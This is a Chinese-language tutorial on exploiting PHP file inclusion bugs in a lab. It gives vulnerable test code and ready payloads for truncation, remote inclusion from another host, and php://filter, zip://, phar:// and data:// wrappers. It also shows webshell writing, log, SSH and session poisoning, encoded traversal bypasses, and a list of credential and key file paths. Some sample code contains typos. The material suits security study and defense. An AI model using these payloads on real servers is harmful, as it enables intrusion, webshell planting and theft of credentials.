文件包含
文件包含分为本地文件包含(Local File Inclusion,简LFI)和远程文件包含(Remote File Inclusion,简RFI)。
在php中常见的文件包含函数有:
include()
include_once()
require()
require_once()
file_get_contents()
fopen()
readfile()
当php包含一个文件时不会在意文件的类型,都会把文件当做php文件来解析。(file_get_contents()
除外)。
本地文件包含
测试代码:
<?php
$file = $_GET['file'];
echo $file;
if (file_exists('./'.$file.'.php')) {
include './'.$file.'.php';
}
?>
存在本地文件包含漏洞。
%00截断
条件:
需要 magic_quotes_gpc=off,PHP 小于 5.3.4
playload:
http://localhost/wenjianbaohan/file.php?file=../get.txt%00
这时就是本地任意文件包含。
可以读取服务器敏感信息。
路径长度截断和点号截断
测试代码:
<?php
$str='';
for ($i=0; $i <= 240; $i++) {
# code...
$str.='/.';
//$str.='.';
}
$str='1.txt'.$str;
echo $str;
include $str.'.php';
Linux 需要文件名长于 4096,Windows 需要长于 256。
在windows下测试是240个点和240个斜杠加点都能截断。
在linux上只有2038个/.才能截断。(至少2038个)
php版本5.3之后被修复。
远程文件包含
远程文件包含需要设置
普通远程文件包含需要 `allow_url_fopen=On` 并且 `allow_url_include=On` 。
测试代码:
<?php
@inculde($_GET['url]);
?>
playload:http://localhost/wenjianbaohan/file.php?url=http://192.168.190.128/1.txt
问号截断
测试代码:
<?php
@include($_GET['url'].'.php');
?>
playload:http://localhost/wenjianbaohan/file.php?url=http://192.168.190.128/1.txt?
问号后的部分被解释为 URL 的 querystring,这也是一种「截断」。
php伪协议
file:// — 访问本地文件系统
allow_url_fopen和allow_url_include双Off情况下可正常使用
file:///文件绝对路径和文件名
php://
php:// — 访问各个输入/输出流(I/O streams)条件:
不需要开启allow_url_fopen
(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
php://input
php://input 是个可以访问请求的原始数据的只读流,_enctype="multipart/form-data"_
的时候 php://input 是无效的。POST请求的情况下,php://input可以获取到post的数据。
php://output
php://output 是一个只写的数据流, 允许你以 print 和 echo一样的方式 写入到输出缓冲区。
php://filter
该协议语法为:php://filter:/<action>=<name>
参数 | 功能 |
---|---|
resource=<要过滤的数据流> | 数据来源(必须) |
read=<读链的筛选列表> | 读取 |
write=<写链的筛选列表> | 写入 |
常用功能:
读取源码:
测试代码:
<?php
@include($_GET['url']);
?>
playload:http://localhost/wenjianbaohan/file.php?url=php://filter/read=convert.base64-encode/resource=file.php
写入webshell
测试代码:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
这里需要理解一下php base64解码的原理:
base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码.
一般步骤:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
起初$content中一共有十四个字符。
我们传入的字符要与其进行拼接。
这里我们可以利用php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<
、?
、;
、>
、空格
等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“c”一共8个字符。这样,”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>
没有了。成功写入可执行的webshell。
方法二:<?php exit; ?>
实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法。
测试代码:
<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
?>
我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。
php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。
playload:
POST传入:
txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
这个方法的条件就是不开启短标签。其他格式:
string.strip_tags: 将数据流中的所有html标签清除
string.toupper: 将数据流中的内容转换为大写
string.tolower: 将数据流中的内容转换为小写
convert.base64-encode: 将数据流中的内容转换为base64编码
zlib://
无版本要求
测试代码:
<?php
@include($_GET['url']);
?>
playload:
在E:盘下shell.php添加shell.ziphttp://localhost/wenjianbaohan/file.php?url=zip://E:/shell.zip%23shell.php
注意这里是绝对路径。(相对路径失败)
playload2:
在当前文件夹里shell.php添加shell.ziphttp://localhost/wenjianbaohan/file.php?url=compress.zlib://shell.zip
压缩包所在位置为当前文件夹。(相对路径,绝对路径也行)
phar://
phar:// — PHP 归档
phar:// 数据流包装器自 PHP 5.3.0 起开始有效
条件:
压缩包必须是zip协议压缩的文件
测试代码同上
playload:http://localhost/wenjianbaohan/file.php?url=phar://shell.zip/shell.php
压缩包所在位置为当前文件夹。(相对路径)
data://
data:// — 数据(RFC 2397)
条件:
php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On
测试代码同上
playload:http://localhost/wenjianbaohan/file.php?url=data:text/plain,<?php phpinfo();?>
playload2:http://localhost/wenjianbaohan/file.php?url=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
playload3:http://localhost/wenjianbaohan/file.php?url=data://text/plain,<?php phpinfo();?>
本地文件包含之姿势
日志文件
apache日志
测试系统:
centos:
日志路径:/var/log/httpd/access_log或/etc/httpd/logs/access_log
测试系统:
ubuntu16.04
PHP 5.6.40+ Apache/2.4.18
日志路径:/var/log/apache2/access.log
<?php
include($_GET['file']);
?>
日志中的一条信息:
192.168.190.1 - - [13/Jun/2019:01:06:50 -0700] "GET /file.php?file=/var/log/apache2/access.log HTTP/1.1" 200 260 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
信息:
- 访问者ip
- 请求的时间
- 请求方式以及url
- 状态码:200
- 发送给客户端的总字节数
- 客户端浏览器的信息
我们知道文件包含时,不管文件是什么类型都当作php来解析。
所以我们可以把webshell藏在请求中,然后就写入日志文件。我们再包含日志文件,就可以获得webshell。
我们试试shell藏在url中:
访问:
http://192.168.190.131/file.php?file=<?php phpinfo(); ?>
查看日志:
192.168.190.1 - - [13/Jun/2019:01:22:04 -0700] "GET /file.php?file=%3C?php%20phpinfo();%20?%3E HTTP/1.1" 200 511 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0"
发现 :shell被url编码了。
尝试包含日志文件:
发现解析失败。
这时我们可以尝试把shell藏在User-Agent里:
查看日志:
192.168.190.1 - - [13/Jun/2019:01:29:59 -0700] "GET /file.php?file=/var/log/apache2/access.log HTTP/1.1" 200 514 "-" "<?php phpinfo();?>"
发现这时成功写入shell。
我们再次包含日志文件就getshell了。
ssh 日志
利用条件
需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log
我们可以用ssh连接来向ssh日志中写入webshell:
ssh '<?php phpinfo();?>'@192.168.190.131
查看日志文件:
成功写入shell。包含它就getshell了。
session 文件
利用条件:session文件路径已知,且其中内容部分可控
php的session文件的保存路径可以在phpinfo的session.save_path看到
session 存储位置:
/var/lib/php/session
测试代码:
<?php
session_start();
$_SESSION['alex']=$_GET['file'];
@include($_GET['file']);
?>
session的文件名是“sess_”+当前PHPSESSID
playload:
第一次访问:http://192.168.190.128/file.php?file=%3C?php%20phpinfo();?%3E
在session文件中存入shell。
我们可以知道session文件的名字和路径。
故session文件路径为/var/lib/php/session/sess_2n3gliufi6ibj1b5ddovr6eub4
所以此时包含:
http://192.168.190.128/file.php?file=/var/lib/php/session/sess_2n3gliufi6ibj1b5ddovr6eub4
绕过姿势
在指定前缀名后,我们可以通过../
来跳转目录。
编码绕过
服务器端常常会对于../
等做一些过滤,可以用一些编码来进行绕过
利用url编码
../
%2e%2e%2f
..%2f
%2e%2e/
..\
%2e%2e%5c
..%5c
%2e%2e\
二次编码
../
%252e%252e%252f
..\
%252e%252e%255c
容器/服务器的编码方式
../
..%c0%af
%c0%ae%c0%ae/ 注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
..\
..%c1%9c
问号绕过,#号绕过,%00截断,路径截断(./),长度截断(.)和协议。
常见敏感信息文件路径
windows
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
linux:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.cnf // mysql 配置文件
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (
/proc/mounts
/proc/config.gz
防御措施
- 在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
- 做好文件的权限管理
- 对危险字符进行过滤等等